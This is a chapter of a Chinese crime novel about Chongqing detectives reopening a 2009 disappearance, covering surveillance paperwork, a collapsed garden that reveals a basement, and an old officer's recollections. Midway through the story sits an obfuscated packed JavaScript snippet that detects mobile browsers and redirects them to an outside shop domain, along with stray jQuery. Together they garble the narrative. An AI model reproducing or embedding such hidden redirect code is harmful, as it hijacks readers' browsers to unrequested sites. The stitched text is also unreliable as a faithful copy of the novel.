42.三更
    “这个案子我没啥子印象,你确定是我们辖区的么?”

    老头穿件破洞汗衫,拿个大蒲扇,怎么都看不出以前是干警察的。

    他慌慌张张冲向水边骑儿童车的女童。

    “诶诶,不听话!掉下去咋办?”

    片刻回来,皱眉看看范立青。

    “378厂我记得,说垮就垮了,好多娃儿不长进,偷的,抢的,码头上打架的,烫个杀马特发型,当古惑仔,啥子都有,离家出走就更多了,开始我们还帮到找,后来找来找去,不是在网吧,就是在台球厅,都懒得找了,有些脑子活络的,假装被绑架,叫父母给钱……但是我们警察,不可能像你说的,把几个同学抓来问口供,学生娃儿,咋个审嘛?”

    范立青不死心。

    “一点印象都没得么?他们家蛮特别,爸爸去世的早,妈妈一直住院,她本身成绩很好……”

    “各个都是这样!小范,你一来就在分局,民警干起你就晓得了,不长进的娃儿,没得几个天生的,都是家里各种,离婚的啊,父母就偷啊抢啊,有些还吸毒,要不然就是有病,要不然就是去广东打工,没得人管么,就学坏了。”

    老头眼神一直挂在孙女身上。

    “听到没?没人管你就学坏了!”

    “她家还有个妹妹,当时应该是八岁。”

    “那你肯定搞错了唦,2000年以后,重庆主城区,还敢超生?还是保密单位,军工企业,不可能的嘛!”

    “那生都生了,上不到户口,能怎么办?”

    老头说,“城里上不到就挂到乡下嘛!”

    “随便找人挂?”

    “亲戚嘛,朋友嘛!挂个户口又不是把娃儿给人家了,要认回来的嘛。”

    他絮絮叨叨半天,忽然顿住手,好像终于触动了回忆的开关。

    “哎呀!你说到这个妹妹,我倒是想起来了!”

    **********

    三层空空荡荡,都去吃饭了,唯独刑侦全员围桌,十二和小虎在线上。

    陈数杉开宗明义。

    “廖队做了细致扎实的工作,不管其他部门怎么想,我们要坚持自己的调查方向,现在火力对准莫安生,先总结手头的线索。十二那边怎么样?”

    “我找到金荣的医疗记录了,在三医院,就是侦查员说旧厂街新开张的三甲医院,王大志就在这家医院做透析,诊断书拍照发群了,时间是6月14日,做了全麻手术,《知情同意书》是金大昌签的。”

    陈数杉嗯了声,抬眼明显带情绪。

    “你们还没拉我进群?”

    马提子正端杯子喝水,差点呛到,手忙脚乱。

    “陈队通过下!”

    陈数杉直接把群名改成:刑侦缺我不行。

    斯文很有眼力见儿,马上把十二那几张医疗记录图片再发一遍。

    陈数杉放下手机,“提子?”

    “——嗯?”

    “把群主转给斯文。”

    范立青憋住没笑,点开群成员,在尼克狐狸头上摩挲,加新人可以,大家有默契,不踢廖队出去。

    十二继续,“就诊原因是‘右臂血管肌腱神经大面积损伤,皮下组织缺损’,医院进行了‘清创、异物取出,血管神经肌肉探查修复术’,从右上臂拔除9厘米钢筋一根,切开皮肤及皮下组织清创,探查见创面严重污染,溃烂,且混有铁锈、泥沙,深部血管破裂,神经损伤伴有严重的撕裂,肌腱完全断裂,清理后,通过十倍显微镜修复损伤的神经,并修复损伤的肌肉。”

    小虎咋舌。

    “这么严重?这按照伤情鉴定,够得上轻伤了吧?”

    “这还轻伤?”斯文吓一跳。

    小虎说,“伤情鉴定的轻伤很严重,颅骨凹陷或者粉碎性骨折,颅底骨折伴脑脊液漏出,就是金荣头上那个伤,鉴定下来也就是个轻伤。”

    “那轻伤也能致死啊?”

    “能啊!颅底凹陷,有人就死了嘛。”

    斯文长了见识,心有余悸的摸摸脑壳。

    范立青问,“你看看费用清单里面,用哪种麻醉药?”

    “盐酸氢吗啡酮注射液为主,另外还有三四种。”

    “但是这个说不通啊!”马提子大声质疑。

    “金荣的短信是6月12日发的,‘我不会让你杀人的’,这句话指向性太明显了,难道14日金荣受伤,跟范彦行失踪没关系?”

    这个问题别人都回答不出来,唯有范立青低着头,“14号我有线索。”

    马提子莫名其妙,“那你说啊——”

    “比较复杂,一句两句说不清楚。”

    冷场五秒,十二轻快地接起来。

    “尹从辉在公司开会,刚才我跟检察院聊了下,目前这种情况,逮捕令开不出来,但是可以出个允许监听的手续。”

    “你小子可以呀!”马提子尽释前嫌,主动夸他。

    “陈队,监听设备是装在车上还是装在办公室?简单的纽扣式,我跟小虎就办了,复杂的可能要请网安支持下。”

    范立青说,“我认为还是要盯住人,定位器最好装身上。”

    十二为难,“装身上?那要重新出手续。”

    马提子插嘴,“有啥子先用啥子,窃听又不碍事儿。”

    陈数杉想了想,“装定位器能省出一个人,十二先回来——”

    她打电话给网安,“刘队,支持个人装定位器,只能装车上?也行。”

    “十二,记得跟检察院要手续啊!”

    “小虎,天气热,注意防晒补水,按时吃饭上厕所,坐久了起来动动。”

    小虎接过来,“安岳的账户我查过了,没有取款,父母和宋云帆也没有。”

    “尹从辉呢?”

    “尹从辉个人账户也没有,但他名下公司有十几家,业务多元,加上最近频繁卖掉之前持有的烂尾房,交易对手各种账户都有,还没查到。”

    陈数杉说,“企业户立青接手,顺带查下公司经营是否正常。”

    “到我了吧?”

    马提子听得很过瘾,陈队别看是个女的,真没话说。

    “干部楼有地下室,所以崩牙跟踪尹从辉跟丢了。”

    这个思路出人意表,斯文问,“你怎么想到这儿来的?”

    马提子很难过,“廖队想出来的,他最后就交代我这个。”

    激光笔指屏幕。

    “这是无人机低空俯拍的效果,定位在我脸上。”

    画面中马提子穿件红色T恤,黑油油脖颈上戴条金属链,他弯腰穿过垛墙上的大洞,捡了根长棍在菜地间指指戳戳,一个老汉提桶进来,张嘴就骂。

    马提子扭脸,老汉认出他,范立青也认出老汉,就是二零一。

    马提子亮警官证,老汉后退摇手,摇着摇着动作放慢了,指水池。

    马提子解释。

    “最早垃圾丢下来,咚一下掉进垃圾箱,装满拉走,但96年市政不管了,垃圾箱装不下,蒋厂长叫人糊个水泥池子装垃圾,就把防空洞入口堵上了,但还是很臭,最后干脆把垃圾道封上了。”

    范立青问,“96年就封上了?”

    “他就是模糊有个印象,具体时间不晓得,亏得他是会计,记得蒋厂长要钱交垃圾费,钱不多,就两三千,厂里拿不出,不过我拎崩牙又去了一趟。”

    切换第二个视频。

    这回他们到时,二零一已经在浇菜了,崩牙指着垛墙上的洞口比划,马提子消失了几分钟,再回来拎了把大锤,轰地敲开垛墙,碎石块四飞,砸得卷心菜遭了殃,马提子蹲地上扒拉扒拉,没有发现,又去敲另一堵墙。

    十几分钟后,菜地变成瓦砾废墟,二零一蹲在角落抽烟,敢怒不敢言。

    马提子拄着大锤气喘吁吁,烟刚掏出来,忽然整个人陷下去了。

    视频里俯视镜头更吓人,好端端一米八的大汉,一下土埋到胸口。

    崩牙吓了一跳,扑过来拽住他。

    办公室里,斯文蹭地跳起来,担心地问,“怎么回事?”

    马提子笑嘻嘻说没事。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423189|138765||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    镜头里,他很快撑起来,爬到边上。

    激光笔圈住塌陷露出来的大洞。

    “地下室门就在这儿,下去有楼梯,里面东西不少,但是——”

    他很遗憾,望住满怀期待的同事懊恼摇头。

    “没有范彦行的遗骨。”

    “派出所拉警戒线了吗?”

    “拉了,还派了两个人守着。”

    “通知王队了么?”

    陈数杉说,“啊,王队昨晚喝酒了,还在睡觉,晚点儿吧。”

    为什么半夜喝酒?大家都默契地不问。

    马提子说,“痕检去了,全屋喷了鲁米诺,什么都没有,不过……”

    “不过什么?”

    “那间屋之前被人喷过鲁米诺,很仔细,家具背后的墙缝都做了。”

    几个刑警瞪大双眼,斯文说,“呃,难道是老董?”

    范立青摇头,“不!是莫安生,她自学过法医法证。”

    陈数杉点头,“看来她也在找范彦行死亡的第一现场。”

    范立青沉吟片刻,“提子,二零一的电话你留了没?”

    手机免提状态摆在桌上。

    范立青招呼,“大叔,我是上次去您家……”

    没说完就被打断了,二零一发出怪叫,“你也是警察?!”

    “那到底还有没得拆迁这回事哦?”

    范立青反问,“您最早是从哪里听说要拆迁的?”

    “炒房论坛嘛,有人拉群,都是牛人哦,建委也有,房管局也有,市长秘书都在,他好看好旧厂街哦,要收八套!我等到你这边报价,一直拖到在。”

    刑侦几个人面面相觑,不知道他在说什么天方夜谭。

    但经侦对这套骗术很熟悉。

    “大叔,你这哈儿打个车来江南分局,报销,还报线人费,两百!”

    电话挂了,范立青指自己,“我报。”

    等二零一来的空档,范立青抓紧时间介绍自己这边的进展。

    “旧厂街以前有三家大型工厂,四个民警主要处理户籍问题,其他治安啊调解啊,都是工厂保卫科内部处理。90年代末工厂关门,上万居民甩过来,派出所压力陡增,很长一段时间,一个人兼三四个岗位……”

    “一直到2009年都是这样么?”

    “对,所以范彦行失踪案调查的很潦草。”

    这个情况实在出人意料。

    今时今日,学生是头等大事,失踪稍微久一点,直接是分局刑侦接手而不是派出所治安队处理,马提子和十二都经办过。

    “我找到的老董,是这四位民警之一,2009年7月就退休了。”

    这个时间点就绝了!

    马提子蹭地坐直,知道范姐肯定有重大发现。

    范立青掏出一本老旧的记事本,封面封底上各箍着一片薄薄的吸铁石,阖上就紧紧吸住,封面上,两朵艳丽的紫罗兰花卉烘托出美人脸,情调旖旎。

    “首先是报案时间,注意——2009年6月12日早上七点半。”

    马提子拍掌,“对不对?案发时间还是12号!”

    没想到范立青沉沉摇头。

    “老董回到派出所,那天早上所长口头通知休假半天,因为头天晚上,附近公职部门,警察、检察院、城管,也包括378厂这种国企,全上一线了。”

    马提子打断,“378厂不是早就没了?还动员的起来?”

    “蒋厂长有威望,他跟老婆带头,十几栋楼的居民,据老董说啊,除了卧床的,家里有婴儿的,有瘫痪老人的,都出动了,民警的任务是统筹运输线路,就是管理沿途所有骑摩托车上山的市民的行进路线,这个工作很辛苦,消防收队是凌晨四点,民警早上六点。”

    “那老董一大早跑回去干嘛?”

    “他回家才知道老婆中午做了猪头肉送到派出所,本来放冰箱了,但半夜火大怕出事,整个片区都断电了,他回去救他的肉。”

    单身狗马提子一听就摇头,“哎哟真羡慕。”